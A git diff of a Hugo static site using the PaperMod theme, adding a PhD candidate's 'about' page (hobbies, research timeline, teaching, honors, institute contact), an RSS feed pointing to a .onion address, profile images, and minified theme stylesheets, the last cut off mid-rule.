    • Experimenting with coffee and 🍳 cooking
    • 🎲 Playing board games
    • 🔧 Fiddling with electronics: making everyday tools smart and remotely controllable with micro-controllers, sensors, and actuators
    • 📚 Reading books and happily getting lost in math & physics problems

    Quick timeline

    • Aug 2024 – present: PhD candidate, MPI-INF, Internet Architecture group (Saarbrücken, Germany)
    • Jun 2023 – Jul 2024: Volunteer remote Research Assistant, InSPIRe Lab, Duke University
    • Sep 2023 – Feb 2024: Volunteer Research Assistant, CPS Lab, Sharif University of Technology
    • Feb 2023 – Sep 2023: Volunteer Research Assistant, RADIAN Lab, Sharif University of Technology
    • Jul 2022 – Sep 2022: Summer Intern, Rasta Scientific Group

    Teaching I’ve helped with

    Advanced Programming (2021) · Probabilities & Statistics (2022) · Operating Systems (2023) · Embedded Systems (2023) · Computer Simulation (two offerings, 2023)

    Honors

    • Silver medal, Paya Math & Physics League — Tehran, Iran (Sep 2017)
    • 2nd place, Water Rocket Design Competition — Isfahan’s Math House (Sep 2015)

    Contact

    Max-Planck-Institut für Informatik
    Saarland Informatics Campus — Campus E1 4, 66123 Saarbrücken
    Office: E1 4 – 514 · Phone: +49 681 9325 3548


    + +Open on GitHub ↗
    Comments powered by Isso
    + +RSS + \ No newline at end of file diff --git a/public/about/index.xml b/public/about/index.xml new file mode 100644 index 0000000..189d873 --- /dev/null +++ b/public/about/index.xml @@ -0,0 +1 @@ +About on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/about/Recent content in About on AlipourIm journeysHugo -- 0.146.0en \ No newline at end of file diff --git a/public/about/page/1/index.html b/public/about/page/1/index.html new file mode 100644 index 0000000..0d8ff27 --- /dev/null +++ b/public/about/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/about/ + + + + + + diff --git a/public/about/pfp.jpeg b/public/about/pfp.jpeg new file mode 100644 index 0000000..6c5efa4 Binary files /dev/null and b/public/about/pfp.jpeg differ diff --git a/public/about/pfp.png b/public/about/pfp.png new file mode 100644 index 0000000..e85e9e8 Binary files /dev/null and b/public/about/pfp.png differ diff --git a/public/about/pfp_hu_9247c01e3b57e02e.jpeg b/public/about/pfp_hu_9247c01e3b57e02e.jpeg new file mode 100644 index 0000000..b9e4f4b Binary files /dev/null and b/public/about/pfp_hu_9247c01e3b57e02e.jpeg differ diff --git a/public/about/pfp_hu_98e98454b8a709b.jpeg b/public/about/pfp_hu_98e98454b8a709b.jpeg new file mode 100644 index 0000000..401001c Binary files /dev/null and b/public/about/pfp_hu_98e98454b8a709b.jpeg differ diff --git a/public/about/pfp_hu_a983a7e83d8dd035.jpeg b/public/about/pfp_hu_a983a7e83d8dd035.jpeg new file mode 100644 index 0000000..90cdc0b Binary files /dev/null and b/public/about/pfp_hu_a983a7e83d8dd035.jpeg differ diff --git a/public/about/pfp_hu_b22c5f740ae04fec.jpeg b/public/about/pfp_hu_b22c5f740ae04fec.jpeg new file mode 100644 index 0000000..04184cd Binary files /dev/null and b/public/about/pfp_hu_b22c5f740ae04fec.jpeg differ diff --git a/public/about/pfp_hu_c33db26ab6fa21ec.jpeg b/public/about/pfp_hu_c33db26ab6fa21ec.jpeg new file mode 100644 index 0000000..7556573 Binary files /dev/null and b/public/about/pfp_hu_c33db26ab6fa21ec.jpeg differ diff --git a/public/assets/css/stylesheet.2211ca3164be7830024f6aad2b3a2e520843a64f8f048445c3401c1249aa051d.css b/public/assets/css/stylesheet.2211ca3164be7830024f6aad2b3a2e520843a64f8f048445c3401c1249aa051d.css new file mode 100644 index 0000000..81ab9d3 --- /dev/null +++ b/public/assets/css/stylesheet.2211ca3164be7830024f6aad2b3a2e520843a64f8f048445c3401c1249aa051d.css @@ -0,0 +1,7 @@ +/* + PaperMod v8+ + License: MIT https://github.com/adityatelange/hugo-PaperMod/blob/master/LICENSE + Copyright (c) 2020 nanxiaobei and adityatelange + Copyright (c) 2021-2025 adityatelange +*/ +:root{--gap:24px;--content-gap:20px;--nav-width:1024px;--main-width:720px;--header-height:60px;--footer-height:60px;--radius:8px;--theme:rgb(255, 255, 255);--entry:rgb(255, 255, 255);--primary:rgb(30, 30, 30);--secondary:rgb(108, 108, 108);--tertiary:rgb(214, 214, 214);--content:rgb(31, 31, 31);--code-block-bg:rgb(28, 29, 33);--code-bg:rgb(245, 245, 245);--border:rgb(238, 238, 238)}.dark{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--code-block-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--code-bg)}.dark.list{background:var(--theme)}*,::after,::before{box-sizing:border-box}html{-webkit-tap-highlight-color:transparent;overflow-y:scroll;-webkit-text-size-adjust:100%;text-size-adjust:100%}a,button,body,h1,h2,h3,h4,h5,h6{color:var(--primary)}body{font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Oxygen,Ubuntu,Cantarell,open sans,helvetica neue,sans-serif;font-size:18px;line-height:1.6;word-break:break-word;background:var(--theme)}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section,table{display:block}h1,h2,h3,h4,h5,h6{line-height:1.2}h1,h2,h3,h4,h5,h6,p{margin-top:0;margin-bottom:0}ul{padding:0}a{text-decoration:none}body,figure,ul{margin:0}table{width:100%;border-collapse:collapse;border-spacing:0;overflow-x:auto;word-break:keep-all}button,input,textarea{padding:0;font:inherit;background:0 0;border:0}input,textarea{outline:0}button,input[type=button],input[type=submit]{cursor:pointer}input:-webkit-autofill,textarea:-webkit-autofill{box-shadow:0 0 0 50px var(--theme)inset}img{display:block;max-width:100%}.not-found{position:absolute;left:0;right:0;display:flex;align-items:center;justify-content:center;height:80%;font-size:160px;font-weight:700}.archive-posts{width:100%;font-size:16px}.archive-year{margin-top:40px}.archive-year:not(:last-of-type){border-bottom:2px solid var(--border)}.archive-month{display:flex;align-items:flex-start;padding:10px 0}.archive-month-header{margin:25px 0;width:200px}.archive-month:not(:last-of-type){border-bottom:1px solid var(--border)}.archive-entry{position:relative;padding:5px;margin:10px 0}.archive-entry-title{margin:5px 0;font-weight:400}.archive-count,.archive-meta{color:var(--secondary);font-size:14px}.footer,.top-link{font-size:12px;color:var(--secondary)}.footer{max-width:calc(var(--main-width) + var(--gap) * 2);margin:auto;padding:calc((var(--footer-height) - var(--gap))/2)var(--gap);text-align:center;line-height:24px}.footer span{margin-inline-start:1px;margin-inline-end:1px}.footer span:last-child{white-space:nowrap}.footer a{color:inherit;border-bottom:1px solid var(--secondary)}.footer a:hover{border-bottom:1px solid var(--primary)}.top-link{visibility:hidden;position:fixed;bottom:60px;right:30px;z-index:99;background:var(--tertiary);width:42px;height:42px;padding:12px;border-radius:64px;transition:visibility .5s,opacity .8s linear}.top-link,.top-link svg{filter:drop-shadow(0 0 0 var(--theme))}.footer a:hover,.top-link:hover{color:var(--primary)}.top-link:focus,#theme-toggle:focus{outline:0}.nav{display:flex;flex-wrap:wrap;justify-content:space-between;max-width:calc(var(--nav-width) + var(--gap) * 2);margin-inline-start:auto;margin-inline-end:auto;line-height:var(--header-height)}.nav a{display:block}.logo,#menu{display:flex;margin:auto var(--gap)}.logo{flex-wrap:inherit}.logo a{font-size:24px;font-weight:700}.logo a img,.logo a svg{display:inline;vertical-align:middle;pointer-events:none;transform:translate(0,-10%);border-radius:6px;margin-inline-end:8px}button#theme-toggle{font-size:26px;margin:auto 4px}body.dark #moon{vertical-align:middle;display:none}body:not(.dark) #sun{display:none}#menu{list-style:none;word-break:keep-all;overflow-x:auto;white-space:nowrap}#menu li+li{margin-inline-start:var(--gap)}#menu a{font-size:16px}#menu .active{font-weight:500;border-bottom:2px solid}.lang-switch li,.lang-switch ul,.logo-switches{display:inline-flex;margin:auto 4px}.lang-switch{display:flex;flex-wrap:inherit}.lang-switch a{margin:auto 3px;font-size:16px;font-weight:500}.logo-switches{flex-wrap:inherit}.main{position:relative;min-height:calc(100vh - var(--header-height) - var(--footer-height));max-width:calc(var(--main-width) + var(--gap) * 2);margin:auto;padding:var(--gap)}.page-header h1{font-size:40px}.pagination{display:flex}.pagination a{color:var(--theme);font-size:13px;line-height:36px;background:var(--primary);border-radius:calc(36px/2);padding:0 16px}.pagination .next{margin-inline-start:auto}.social-icons a{display:inline-flex;padding:10px}.social-icons a svg{height:26px;width:26px}code{direction:ltr}div.highlight,pre{position:relative}.copy-code{display:none;position:absolute;top:4px;right:4px;color:rgba(255,255,255,.8);background:rgba(78,78,78,.8);border-radius:var(--radius);padding:0 5px;font-size:14px;user-select:none}div.highlight:hover .copy-code,pre:hover .copy-code{display:block}.first-entry{position:relative;display:flex;flex-direction:column;justify-content:center;min-height:320px;margin:var(--gap)0 calc(var(--gap) * 2)}.first-entry .entry-header{overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:3}.first-entry .entry-header h1{font-size:34px;line-height:1.3}.first-entry .entry-content{margin:14px 0;font-size:16px;-webkit-line-clamp:3}.first-entry .entry-footer{font-size:14px}.home-info .entry-content{-webkit-line-clamp:unset}.post-entry{position:relative;margin-bottom:var(--gap);padding:var(--gap);background:var(--entry);border-radius:var(--radius);transition:transform .1s;border:1px solid var(--border)}.post-entry:active{transform:scale(.96)}.tag-entry .entry-cover{display:none}.entry-header h2{font-size:24px;line-height:1.3}.entry-content{margin:8px 0;color:var(--secondary);font-size:14px;line-height:1.6;overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2}.entry-footer{color:var(--secondary);font-size:13px}.entry-link{position:absolute;left:0;right:0;top:0;bottom:0}.entry-hint{color:var(--secondary)}.entry-hint-parent{display:flex;justify-content:space-between}.entry-cover{font-size:14px;margin-bottom:var(--gap);text-align:center}.entry-cover img{border-radius:var(--radius);width:100%;height:auto}.entry-cover a{color:var(--secondary);box-shadow:0 1px 0 var(--primary)}.page-header,.post-header{margin:24px auto var(--content-gap)}.post-title{margin-bottom:2px;font-size:40px}.post-description{margin-top:10px;margin-bottom:5px}.post-meta,.breadcrumbs{color:var(--secondary);font-size:14px;display:flex;flex-wrap:wrap;align-items:center}.post-meta .i18n_list li{display:inline-flex;list-style:none;margin:auto 3px;box-shadow:0 1px 0 var(--secondary)}.breadcrumbs a{font-size:16px}.post-content{color:var(--content)}.post-content h3,.post-content h4,.post-content h5,.post-content h6{margin:24px 0 16px}.post-content h1{margin:40px auto 32px;font-size:40px}.post-content h2{margin:32px auto 24px;font-size:32px}.post-content h3{font-size:24px}.post-content h4{font-size:16px}.post-content h5{font-size:14px}.post-content h6{font-size:12px}.post-content a,.toc a:hover{box-shadow:0 1px;box-decoration-break:clone;-webkit-box-decoration-break:clone}.post-content a code{margin:auto 0;border-radius:0;box-shadow:0 -1px 0 var(--primary)inset}.post-content del{text-decoration:line-through}.post-content dl,.post-content ol,.post-content p,.post-content figure,.post-content ul{margin-bottom:var(--content-gap)}.post-content ol,.post-content ul{padding-inline-start:20px}.post-content li{margin-top:5px}.post-content li p{margin-bottom:0}.post-content dl{display:flex;flex-wrap:wrap;margin:0}.post-content dt{width:25%;font-weight:700}.post-content dd{width:75%;margin-inline-start:0;padding-inline-start:10px}.post-content dd~dd,.post-content dt~dt{margin-top:10px}.post-content table{margin-bottom:var(--content-gap)}.post-content table th,.post-content table:not(.highlighttable,.highlight table,.gist .highlight) td{min-width:80px;padding:8px 5px;line-height:1.5;border-bottom:1px solid var(--border)}.post-content table th{text-align:start}.post-content table:not(.highlighttable) td code:only-child{margin:auto 0}.post-content .highlight table{border-radius:var(--radius)}.post-content .highlight:not(table){margin:10px auto;background:var(--code-block-bg)!important;border-radius:var(--radius);direction:ltr}.post-content li>.highlight{margin-inline-end:0}.post-content ul pre{margin-inline-start:calc(var(--gap) * -2)}.post-content .highlight pre{margin:0}.post-content .highlighttable{table-layout:fixed}.post-content .highlighttable td:first-child{width:40px}.post-content .highlighttable td .linenodiv{padding-inline-end:0!important}.post-content .highlighttable td .highlight,.post-content .highlighttable td .linenodiv pre{margin-bottom:0}.post-content code{margin:auto 4px;padding:4px 6px;font-size:.78em;line-height:1.5;background:var(--code-bg);border-radius:2px}.post-content pre code{display:grid;margin:auto 0;padding:10px;color:#d5d5d6;background:var(--code-block-bg)!important;border-radius:var(--radius);overflow-x:auto;word-break:break-all}.post-content blockquote{margin:20px 0;padding:0 14px;border-inline-start:3px solid var(--primary)}.post-content hr{margin:30px 0;height:2px;background:var(--tertiary);border:0}.post-content iframe{max-width:100%}.post-content img{border-radius:4px;margin:1rem 0}.post-content img[src*="#center"]{margin:1rem auto}.post-content figure.align-center{text-align:center}.post-content figure>figcaption{color:var(--primary);font-size:16px;font-weight:700;margin:8px 0 16px}.post-content figure>figcaption>p{color:var(--secondary);font-size:14px;font-weight:400}.toc{margin:0 2px 40px;border:1px solid var(--border);background:var(--code-bg);border-radius:var(--radius);padding:.4em}.dark .toc{background:var(--entry)}.toc details summary{cursor:zoom-in;margin-inline-start:10px;user-select:none}.toc details[open] summary{cursor:zoom-out}.toc .details{display:inline;font-weight:500}.toc .inner{margin:5px 20px 0;padding:0 10px;opacity:.9}.toc li ul{margin-inline-start:var(--gap)}.toc summary:focus{outline:0}.post-footer{margin-top:56px}.post-footer>*{margin-bottom:10px}.post-tags{display:flex;flex-wrap:wrap;gap:10px}.post-tags li{display:inline-block}.post-tags a,.share-buttons,.paginav{border-radius:var(--radius);background:var(--code-bg);border:1px solid var(--border)}.post-tags a{display:block;padding:0 14px;color:var(--secondary);font-size:14px;line-height:34px;background:var(--code-bg)}.post-tags a:hover,.paginav a:hover{background:var(--border)}.share-buttons{padding:10px;display:flex;justify-content:center;overflow-x:auto;gap:10px}.share-buttons li,.share-buttons a{display:inline-flex}.share-buttons a:not(:last-of-type){margin-inline-end:12px}h1:hover .anchor,h2:hover .anchor,h3:hover .anchor,h4:hover .anchor,h5:hover .anchor,h6:hover .anchor{display:inline-flex;color:var(--secondary);margin-inline-start:8px;font-weight:500;user-select:none}.paginav{display:flex;line-height:30px}.paginav a{padding-inline-start:14px;padding-inline-end:14px;border-radius:var(--radius)}.paginav .title{letter-spacing:1px;text-transform:uppercase;font-size:small;color:var(--secondary)}.paginav .prev,.paginav .next{width:50%}.paginav span:hover:not(.title){box-shadow:0 1px}.paginav .next{margin-inline-start:auto;text-align:right}[dir=rtl] .paginav .next{text-align:left}h1>a>svg{display:inline}img.in-text{display:inline;margin:auto}.buttons,.main .profile{display:flex;justify-content:center}.main .profile{align-items:center;min-height:calc(100vh - var(--header-height) - var(--footer-height) - (var(--gap) * 2));text-align:center}.profile .profile_inner{display:flex;flex-direction:column;align-items:center;gap:10px}.profile img{border-radius:50%}.buttons{flex-wrap:wrap;max-width:400px}.button{background:var(--tertiary);border-radius:var(--radius);margin:8px;padding:6px;transition:transform .1s}.button-inner{padding:0 8px}.button:active{transform:scale(.96)}#searchbox input{padding:4px 10px;width:100%;color:var(--primary);font-weight:700;border:2px solid var(--tertiary);border-radius:var(--radius)}#searchbox input:focus{border-color:var(--secondary)}#searchResults li{list-style:none;border-radius:var(--radius);padding:10px;margin:10px 0;position:relative;font-weight:500}#searchResults{margin:10px 0;width:100%}#searchResults li:active{transition:transform .1s;transform:scale(.98)}#searchResults a{position:absolute;width:100%;height:100%;top:0;left:0;outline:none}#searchResults .focus{transform:scale(.98);border:2px solid var(--tertiary)}.terms-tags li{display:inline-block;margin:10px;font-weight:500}.terms-tags a{display:block;padding:3px 10px;background:var(--tertiary);border-radius:6px;transition:transform .1s}.terms-tags a:active{background:var(--tertiary);transform:scale(.96)}.bg{color:#cad3f5;background-color:#24273a}.chroma{color:#cad3f5;background-color:#24273a}.chroma .x{}.chroma .err{color:#ed8796}.chroma .cl{}.chroma .lnlinks{outline:none;text-decoration:none;color:inherit}.chroma .lntd{vertical-align:top;padding:0;margin:0;border:0}.chroma .lntable{border-spacing:0;padding:0;margin:0;border:0}.chroma .hl{background-color:#474733}.chroma .lnt{white-space:pre;-webkit-user-select:none;user-select:none;margin-right:.4em;padding:0 .4em;color:#8087a2}.chroma .ln{white-space:pre;-webkit-user-select:none;user-select:none;margin-right:.4em;padding:0 .4em;color:#8087a2}.chroma .line{display:flex}.chroma .k{color:#c6a0f6}.chroma .kc{color:#f5a97f}.chroma .kd{color:#ed8796}.chroma .kn{color:#8bd5ca}.chroma .kp{color:#c6a0f6}.chroma .kr{color:#c6a0f6}.chroma .kt{color:#ed8796}.chroma .n{}.chroma .na{color:#8aadf4}.chroma .nb{color:#91d7e3}.chroma .bp{color:#91d7e3}.chroma .nc{color:#eed49f}.chroma .no{color:#eed49f}.chroma .nd{color:#8aadf4;font-weight:700}.chroma .ni{color:#8bd5ca}.chroma .ne{color:#f5a97f}.chroma .nf{color:#8aadf4}.chroma .fm{color:#8aadf4}.chroma .nl{color:#91d7e3}.chroma .nn{color:#f5a97f}.chroma .nx{}.chroma .py{color:#f5a97f}.chroma .nt{color:#c6a0f6}.chroma .nv{color:#f4dbd6}.chroma .vc{color:#f4dbd6}.chroma .vg{color:#f4dbd6}.chroma .vi{color:#f4dbd6}.chroma .vm{color:#f4dbd6}.chroma .l{}.chroma .ld{}.chroma .s{color:#a6da95}.chroma .sa{color:#ed8796}.chroma .sb{color:#a6da95}.chroma .sc{color:#a6da95}.chroma .dl{color:#8aadf4}.chroma .sd{color:#6e738d}.chroma .s2{color:#a6da95}.chroma .se{color:#8aadf4}.chroma .sh{color:#6e738d}.chroma .si{color:#a6da95}.chroma .sx{color:#a6da95}.chroma .sr{color:#8bd5ca}.chroma .s1{color:#a6da95}.chroma .ss{color:#a6da95}.chroma .m{color:#f5a97f}.chroma .mb{color:#f5a97f}.chroma .mf{color:#f5a97f}.chroma .mh{color:#f5a97f}.chroma .mi{color:#f5a97f}.chroma .il{color:#f5a97f}.chroma .mo{color:#f5a97f}.chroma .o{color:#91d7e3;font-weight:700}.chroma .ow{color:#91d7e3;font-weight:700}.chroma .p{}.chroma .c{color:#6e738d;font-style:italic}.chroma .ch{color:#6e738d;font-style:italic}.chroma .cm{color:#6e738d;font-style:italic}.chroma .c1{color:#6e738d;font-style:italic}.chroma .cs{color:#6e738d;font-style:italic}.chroma .cp{color:#6e738d;font-style:italic}.chroma .cpf{color:#6e738d;font-weight:700;font-style:italic}.chroma .g{}.chroma .gd{color:#ed8796;background-color:#363a4f}.chroma .ge{font-style:italic}.chroma .gr{color:#ed8796}.chroma .gh{color:#f5a97f;font-weight:700}.chroma .gi{color:#a6da95;background-color:#363a4f}.chroma .go{}.chroma .gp{}.chroma .gs{font-weight:700}.chroma .gu{color:#f5a97f;font-weight:700}.chroma .gt{color:#ed8796}.chroma .gl{text-decoration:underline}.chroma .w{}.chroma{background-color:unset!important}.chroma .hl{display:flex}.chroma .lnt{padding:0 0 0 12px}.highlight pre.chroma code{padding:8px 0}.highlight pre.chroma .line .cl,.chroma .ln{padding:0 10px}.chroma .lntd:last-of-type{width:100%}::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-track{background:var(--code-bg)}::-webkit-scrollbar-thumb{background:var(--tertiary);border:5px solid var(--theme);border-radius:var(--radius)}.list:not(.dark)::-webkit-scrollbar-thumb{border:5px solid var(--code-bg)}::-webkit-scrollbar-thumb:hover{background:var(--secondary)}::-webkit-scrollbar:not(.highlighttable,.highlight table,.gist .highlight){background:var(--theme)}.post-content .highlighttable td .highlight pre code::-webkit-scrollbar{display:none}.post-content :not(table) ::-webkit-scrollbar-thumb{border:2px solid var(--code-block-bg);background:#717175}.post-content :not(table) ::-webkit-scrollbar-thumb:hover{background:#a3a3a5}.gist table::-webkit-scrollbar-thumb{border:2px solid #fff;background:#adadad}.gist table::-webkit-scrollbar-thumb:hover{background:#707070}.post-content table::-webkit-scrollbar-thumb{border-width:2px}@media screen and (min-width:768px){::-webkit-scrollbar{width:19px;height:11px}}@media screen and (max-width:768px){:root{--gap:14px}.profile img{transform:scale(.85)}.first-entry{min-height:260px}.archive-month{flex-direction:column}.archive-year{margin-top:20px}.footer{padding:calc((var(--footer-height) - var(--gap) - 10px)/2)var(--gap)}}@media screen and (max-width:900px){.list .top-link{transform:translateY(-5rem)}}@media screen and (max-width:340px){.share-buttons{justify-content:unset}}@media(prefers-reduced-motion){.terms-tags a:active,.button:active,.post-entry:active,.top-link,#searchResults .focus,#searchResults li:active{transform:none}} \ No newline at end of file diff --git a/public/assets/css/stylesheet.51e3b550fcc0c3f3a10e2d7b70445c6cb21171bed36521d66dc7427208cafbf9.css b/public/assets/css/stylesheet.51e3b550fcc0c3f3a10e2d7b70445c6cb21171bed36521d66dc7427208cafbf9.css new file mode 100644 index 0000000..b62aaeb --- /dev/null +++ b/public/assets/css/stylesheet.51e3b550fcc0c3f3a10e2d7b70445c6cb21171bed36521d66dc7427208cafbf9.css @@ -0,0 +1,7 @@ +/* + PaperMod v8+ + License: MIT https://github.com/adityatelange/hugo-PaperMod/blob/master/LICENSE + Copyright (c) 2020 nanxiaobei and adityatelange + Copyright (c) 2021-2025 adityatelange +*/ +:root{--gap:24px;--content-gap:20px;--nav-width:1024px;--main-width:720px;--header-height:60px;--footer-height:60px;--radius:8px;--theme:rgb(255, 255, 255);--entry:rgb(255, 255, 255);--primary:rgb(30, 30, 30);--secondary:rgb(108, 108, 108);--tertiary:rgb(214, 214, 214);--content:rgb(31, 31, 31);--code-block-bg:rgb(28, 29, 33);--code-bg:rgb(245, 245, 245);--border:rgb(238, 238, 238)}.dark{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--code-block-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--code-bg)}.dark.list{background:var(--theme)}*,::after,::before{box-sizing:border-box}html{-webkit-tap-highlight-color:transparent;overflow-y:scroll;-webkit-text-size-adjust:100%;text-size-adjust:100%}a,button,body,h1,h2,h3,h4,h5,h6{color:var(--primary)}body{font-family:-apple-system,BlinkMacSystemFont,segoe ui,Roboto,Oxygen,Ubuntu,Cantarell,open sans,helvetica neue,sans-serif;font-size:18px;line-height:1.6;word-break:break-word;background:var(--theme)}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section,table{display:block}h1,h2,h3,h4,h5,h6{line-height:1.2}h1,h2,h3,h4,h5,h6,p{margin-top:0;margin-bottom:0}ul{padding:0}a{text-decoration:none}body,figure,ul{margin:0}table{width:100%;border-collapse:collapse;border-spacing:0;overflow-x:auto;word-break:keep-all}button,input,textarea{padding:0;font:inherit;background:0 0;border:0}input,textarea{outline:0}button,input[type=button],input[type=submit]{cursor:pointer}input:-webkit-autofill,textarea:-webkit-autofill{box-shadow:0 0 0 50px var(--theme)inset}img{display:block;max-width:100%}.not-found{position:absolute;left:0;right:0;display:flex;align-items:center;justify-content:center;height:80%;font-size:160px;font-weight:700}.archive-posts{width:100%;font-size:16px}.archive-year{margin-top:40px}.archive-year:not(:last-of-type){border-bottom:2px solid var(--border)}.archive-month{display:flex;align-items:flex-start;padding:10px 0}.archive-month-header{margin:25px 0;width:200px}.archive-month:not(:last-of-type){border-bottom:1px solid var(--border)}.archive-entry{position:relative;padding:5px;margin:10px 0}.archive-entry-title{margin:5px 0;font-weight:400}.archive-count,.archive-meta{color:var(--secondary);font-size:14px}.footer,.top-link{font-size:12px;color:var(--secondary)}.footer{max-width:calc(var(--main-width) + var(--gap) * 2);margin:auto;padding:calc((var(--footer-height) - var(--gap))/2)var(--gap);text-align:center;line-height:24px}.footer span{margin-inline-start:1px;margin-inline-end:1px}.footer span:last-child{white-space:nowrap}.footer a{color:inherit;border-bottom:1px solid var(--secondary)}.footer a:hover{border-bottom:1px solid var(--primary)}.top-link{visibility:hidden;position:fixed;bottom:60px;right:30px;z-index:99;background:var(--tertiary);width:42px;height:42px;padding:12px;border-radius:64px;transition:visibility .5s,opacity .8s linear}.top-link,.top-link svg{filter:drop-shadow(0 0 0 var(--theme))}.footer a:hover,.top-link:hover{color:var(--primary)}.top-link:focus,#theme-toggle:focus{outline:0}.nav{display:flex;flex-wrap:wrap;justify-content:space-between;max-width:calc(var(--nav-width) + var(--gap) * 2);margin-inline-start:auto;margin-inline-end:auto;line-height:var(--header-height)}.nav a{display:block}.logo,#menu{display:flex;margin:auto var(--gap)}.logo{flex-wrap:inherit}.logo a{font-size:24px;font-weight:700}.logo a img,.logo a svg{display:inline;vertical-align:middle;pointer-events:none;transform:translate(0,-10%);border-radius:6px;margin-inline-end:8px}button#theme-toggle{font-size:26px;margin:auto 4px}body.dark #moon{vertical-align:middle;display:none}body:not(.dark) #sun{display:none}#menu{list-style:none;word-break:keep-all;overflow-x:auto;white-space:nowrap}#menu li+li{margin-inline-start:var(--gap)}#menu a{font-size:16px}#menu .active{font-weight:500;border-bottom:2px solid}.lang-switch li,.lang-switch ul,.logo-switches{display:inline-flex;margin:auto 4px}.lang-switch{display:flex;flex-wrap:inherit}.lang-switch a{margin:auto 3px;font-size:16px;font-weight:500}.logo-switches{flex-wrap:inherit}.main{position:relative;min-height:calc(100vh - var(--header-height) - var(--footer-height));max-width:calc(var(--main-width) + var(--gap) * 2);margin:auto;padding:var(--gap)}.page-header h1{font-size:40px}.pagination{display:flex}.pagination a{color:var(--theme);font-size:13px;line-height:36px;background:var(--primary);border-radius:calc(36px/2);padding:0 16px}.pagination .next{margin-inline-start:auto}.social-icons a{display:inline-flex;padding:10px}.social-icons a svg{height:26px;width:26px}code{direction:ltr}div.highlight,pre{position:relative}.copy-code{display:none;position:absolute;top:4px;right:4px;color:rgba(255,255,255,.8);background:rgba(78,78,78,.8);border-radius:var(--radius);padding:0 5px;font-size:14px;user-select:none}div.highlight:hover .copy-code,pre:hover .copy-code{display:block}.first-entry{position:relative;display:flex;flex-direction:column;justify-content:center;min-height:320px;margin:var(--gap)0 calc(var(--gap) * 2)}.first-entry .entry-header{overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:3}.first-entry .entry-header h1{font-size:34px;line-height:1.3}.first-entry .entry-content{margin:14px 0;font-size:16px;-webkit-line-clamp:3}.first-entry .entry-footer{font-size:14px}.home-info .entry-content{-webkit-line-clamp:unset}.post-entry{position:relative;margin-bottom:var(--gap);padding:var(--gap);background:var(--entry);border-radius:var(--radius);transition:transform .1s;border:1px solid var(--border)}.post-entry:active{transform:scale(.96)}.tag-entry .entry-cover{display:none}.entry-header h2{font-size:24px;line-height:1.3}.entry-content{margin:8px 0;color:var(--secondary);font-size:14px;line-height:1.6;overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2}.entry-footer{color:var(--secondary);font-size:13px}.entry-link{position:absolute;left:0;right:0;top:0;bottom:0}.entry-hint{color:var(--secondary)}.entry-hint-parent{display:flex;justify-content:space-between}.entry-cover{font-size:14px;margin-bottom:var(--gap);text-align:center}.entry-cover img{border-radius:var(--radius);width:100%;height:auto}.entry-cover a{color:var(--secondary);box-shadow:0 1px 0 var(--primary)}.page-header,.post-header{margin:24px auto var(--content-gap)}.post-title{margin-bottom:2px;font-size:40px}.post-description{margin-top:10px;margin-bottom:5px}.post-meta,.breadcrumbs{color:var(--secondary);font-size:14px;display:flex;flex-wrap:wrap;align-items:center}.post-meta .i18n_list li{display:inline-flex;list-style:none;margin:auto 3px;box-shadow:0 1px 0 var(--secondary)}.breadcrumbs a{font-size:16px}.post-content{color:var(--content)}.post-content h3,.post-content h4,.post-content h5,.post-content h6{margin:24px 0 16px}.post-content h1{margin:40px auto 32px;font-size:40px}.post-content h2{margin:32px auto 24px;font-size:32px}.post-content h3{font-size:24px}.post-content h4{font-size:16px}.post-content h5{font-size:14px}.post-content h6{font-size:12px}.post-content a,.toc a:hover{box-shadow:0 1px;box-decoration-break:clone;-webkit-box-decoration-break:clone}.post-content a code{margin:auto 0;border-radius:0;box-shadow:0 -1px 0 var(--primary)inset}.post-content del{text-decoration:line-through}.post-content dl,.post-content ol,.post-content p,.post-content figure,.post-content ul{margin-bottom:var(--content-gap)}.post-content ol,.post-content ul{padding-inline-start:20px}.post-content li{margin-top:5px}.post-content li p{margin-bottom:0}.post-content dl{display:flex;flex-wrap:wrap;margin:0}.post-content dt{width:25%;font-weight:700}.post-content dd{width:75%;margin-inline-start:0;padding-inline-start:10px}.post-content dd~dd,.post-content dt~dt{margin-top:10px}.post-content table{margin-bottom:var(--content-gap)}.post-content table th,.post-content table:not(.highlighttable,.highlight table,.gist .highlight) td{min-width:80px;padding:8px 5px;line-height:1.5;border-bottom:1px solid var(--border)}.post-content table th{text-align:start}.post-content table:not(.highlighttable) td code:only-child{margin:auto 0}.post-content .highlight table{border-radius:var(--radius)}.post-content .highlight:not(table){margin:10px auto;background:var(--code-block-bg)!important;border-radius:var(--radius);direction:ltr}.post-content li>.highlight{margin-inline-end:0}.post-content ul pre{margin-inline-start:calc(var(--gap) * -2)}.post-content .highlight pre{margin:0}.post-content .highlighttable{table-layout:fixed}.post-content .highlighttable td:first-child{width:40px}.post-content .highlighttable td .linenodiv{padding-inline-end:0!important}.post-content .highlighttable td .highlight,.post-content .highlighttable td .linenodiv pre{margin-bottom:0}.post-content code{margin:auto 4px;padding:4px 6px;font-size:.78em;line-height:1.5;background:var(--code-bg);border-radius:2px}.post-content pre code{display:grid;margin:auto 0;padding:10px;color:#d5d5d6;background:var(--code-block-bg)!important;border-radius:var(--radius);overflow-x:auto;word-break:break-all}.post-content blockquote{margin:20px 0;padding:0 